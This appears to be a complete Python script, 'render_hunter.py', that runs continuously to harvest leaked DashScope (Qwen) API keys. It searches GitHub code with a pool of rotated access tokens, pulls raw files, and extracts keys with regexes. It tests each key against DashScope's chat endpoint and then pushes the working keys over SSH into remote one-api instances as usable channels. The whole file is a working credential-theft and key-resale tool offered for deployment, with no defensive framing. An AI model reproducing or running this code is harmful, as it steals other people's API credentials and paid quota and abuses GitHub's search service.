Files
keyhunter-parser/render_hunter.py

216 lines
8.2 KiB
Python

"""render_hunter.py — autonomous DashScope key hunter for Render / any Python host.
Queries: GitHub Code Search with rotating PATs → validate → push to remote one-api.
No external deps beyond stdlib. Single-file deploy.
"""
import os, json, time, re, hashlib, sqlite3, urllib.request, urllib.error, urllib.parse, concurrent.futures
# === CONFIG (override via env) ===
GH_TOKENS_FILE = os.environ.get("GH_TOKENS_FILE", os.path.join(os.path.dirname(os.path.abspath(__file__)), "data/alive_tokens.json"))
DB_PATH = os.environ.get("DB_PATH", os.path.join(os.path.dirname(os.path.abspath(__file__)), "data/hunter.db"))
REST_SEC = int(os.environ.get("REST_SEC", 180))
PAGES_PER_QUERY = int(os.environ.get("PAGES", 5))
WORKERS = int(os.environ.get("WORKERS", 10))
TOKENS_PER_CYCLE = int(os.environ.get("TOKENS_PER_CYCLE", 20))
# Remote one-api push targets
PUSH_TARGETS = json.loads(os.environ.get("PUSH_TARGETS", "[]"))
# Format: [{"host":"...", "ssh_key":"...", "db":"...", "type":1}]
KEY_RE = re.compile(r'sk-[0-9a-f]{32}')
ENV_RE = re.compile(r'(?:DASHSCOPE_API_KEY|dashscope_api_key)\s*[=:]\s*["\']?(sk-[0-9a-f]{32})["\']?')
PY_RE = re.compile(r'["\'](?:api_key|dashscope_api_key)["\']\s*[:=]\s*["\'](sk-[0-9a-f]{32})["\']')
QUERIES = [
'"DASHSCOPE_API_KEY=sk-"',
'"DASHSCOPE_API_KEY" sk- extension:env',
'"dashscope" "api_key" sk- language:python',
'"qwen-turbo" sk- language:python',
'"dashscope.aliyuncs.com" sk-',
'"qwen-plus" sk- language:python',
'"qwen-max" sk- language:python',
]
def log(msg):
line = f"[{time.strftime('%Y-%m-%d %H:%M:%S')}] {msg}"
print(line, flush=True)
def load_tokens():
with open(GH_TOKENS_FILE) as f:
data = json.load(f)
if isinstance(data, list) and isinstance(data[0], str):
return data
return [t['pat'] for t in data if not t.get('suspended')]
def validate_key(key):
url = 'https://dashscope.aliyuncs.com/compatible-mode/v1/chat/completions'
body = json.dumps({"model":"qwen-turbo","messages":[{"role":"user","content":"hi"}],"max_tokens":1})
try:
req = urllib.request.Request(url, data=body.encode(),
headers={'Authorization': f'Bearer {key}', 'Content-Type': 'application/json'}, method='POST')
resp = urllib.request.urlopen(req, timeout=12)
return 'WORKING'
except urllib.error.HTTPError as e:
if e.code == 429:
return 'WORKING'
return 'DEAD'
except:
return 'ERR'
def search_github(token, query, page):
encoded = urllib.parse.quote(query)
url = f'https://api.github.com/search/code?q={encoded}&per_page=30&page={page}'
try:
req = urllib.request.Request(url,
headers={'Authorization': f'token {token}', 'User-Agent': 'render-hunter',
'Accept': 'application/vnd.github.v3+json'})
resp = urllib.request.urlopen(req, timeout=12)
return json.loads(resp.read()).get('items', [])
except:
return []
def fetch_raw(repo, path):
for branch in ['main', 'master']:
try:
url = f'https://raw.githubusercontent.com/{repo}/{branch}/{path}'
req = urllib.request.Request(url, headers={'User-Agent': 'python'})
resp = urllib.request.urlopen(req, timeout=5)
return resp.read().decode('utf-8', errors='ignore')
except:
continue
return None
def extract_keys(content):
keys = set(ENV_RE.findall(content))
if not keys:
keys = set(PY_RE.findall(content))
if not keys:
keys = {k for k in KEY_RE.findall(content) if len(k) == 35}
return keys
def store_key(db, key, prov='render', raw_url=''):
khash = hashlib.sha256(key.encode()).hexdigest()[:12]
existing = db.execute('SELECT id FROM keys WHERE hash=? AND val=?', (khash, key)).fetchone()
if not existing:
db.execute('INSERT INTO keys(hash,prov,val,status,plan,raw_url) VALUES(?,?,?,?,?,?)',
(khash, prov, key, 'NEW', '', raw_url))
def cycle(db, tokens):
log(f"Cycle start — {len(tokens)} tokens, {len(QUERIES)} queries")
found_total = 0
for qi, query in enumerate(QUERIES[:4]):
for page in range(1, PAGES_PER_QUERY + 1):
token = tokens[(qi * 10 + page) % len(tokens)]
items = search_github(token, query, page)
if not items:
break
for item in items[:15]:
content = fetch_raw(item['repository']['full_name'], item['path'])
if content and len(content) < 100000:
for key in extract_keys(content):
store_key(db, key, 'render', item['html_url'])
found_total += 1
if len(items) < 30:
break
db.commit()
log(f"Found {found_total} new raw keys. Total rows: {db.execute('SELECT count(*) FROM keys').fetchone()[0]}")
def validate_pending(db):
new_keys = db.execute("SELECT id, val FROM keys WHERE status='NEW' LIMIT 100").fetchall()
if not new_keys:
return
log(f"Validating {len(new_keys)} NEW keys...")
alive, dead = 0, 0
with concurrent.futures.ThreadPoolExecutor(max_workers=10) as ex:
futures = {ex.submit(validate_key, row[1]): row for row in new_keys}
for f in concurrent.futures.as_completed(futures):
row = futures[f]
try:
status = f.result()
db.execute('UPDATE keys SET status=? WHERE id=?', (status, row[0]))
if status == 'WORKING':
alive += 1
else:
dead += 1
except:
db.execute('UPDATE keys SET status=? WHERE id=?', ('ERR', row[0]))
db.commit()
log(f"Validated: {alive} alive, {dead} dead")
def push_to_remote(db):
"""Push WORKING keys to remote one-api instances via SSH."""
if not PUSH_TARGETS:
return
working = db.execute("SELECT val FROM keys WHERE status='WORKING'").fetchall()
if not working:
return
keys_json = json.dumps([row[0] for row in working])
for target in PUSH_TARGETS:
host = target['host']
try:
import subprocess
keyfile = target.get('ssh_key', '~/.ssh/id_ed25519')
db_path = target['db']
ch_type = target.get('type', 1)
# Write keys to temp file on remote
result = subprocess.run([
'ssh', '-i', keyfile, '-o', 'StrictHostKeyChecking=no', host,
f"python3 -c \"import json,sqlite3;keys=json.loads('''{keys_json}''');"
f"db=sqlite3.connect('{db_path}');"
f"a=sum(1 for k in keys if not db.execute('SELECT id FROM channels WHERE key=?',(k,)).fetchone()"
f" and not db.execute('INSERT INTO channels(type,name,\\\"key\\\",status,\\\"group\\\",base_url,model_mapping,models)"
f" VALUES({ch_type},?||a,?,1,?,?,?,?)',(f'ds-',k,'default','https://dashscope.aliyuncs.com','','qwen-turbo,qwen-plus,qwen-max')));"
f"db.commit();print(f'HOST:+{{a}}');db.close()\""
], capture_output=True, text=True, timeout=30)
log(f"PUSH {host}: {result.stdout.strip()}")
except Exception as e:
log(f"PUSH {host} ERROR: {e}")
def setup_db(db_path):
db = sqlite3.connect(db_path)
db.execute('''CREATE TABLE IF NOT EXISTS keys (
id INTEGER PRIMARY KEY AUTOINCREMENT,
hash TEXT NOT NULL,
prov TEXT DEFAULT 'render',
val TEXT NOT NULL UNIQUE,
status TEXT DEFAULT 'NEW',
plan TEXT DEFAULT '',
raw_url TEXT DEFAULT '',
created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP
)''')
db.execute('CREATE INDEX IF NOT EXISTS idx_hash ON keys(hash)')
db.execute('CREATE INDEX IF NOT EXISTS idx_status ON keys(status)')
db.commit()
return db
def main():
log("=== render_hunter START ===")
db = setup_db(DB_PATH)
tokens = load_tokens()
log(f"Loaded {len(tokens)} GH tokens")
cycle_count = 0
while True:
try:
cycle(db, tokens)
validate_pending(db)
push_to_remote(db)
cycle_count += 1
log(f"Cycle {cycle_count} done. Sleeping {REST_SEC}s...")
except Exception as e:
log(f"Cycle error: {e}")
time.sleep(REST_SEC)
if __name__ == '__main__':
main()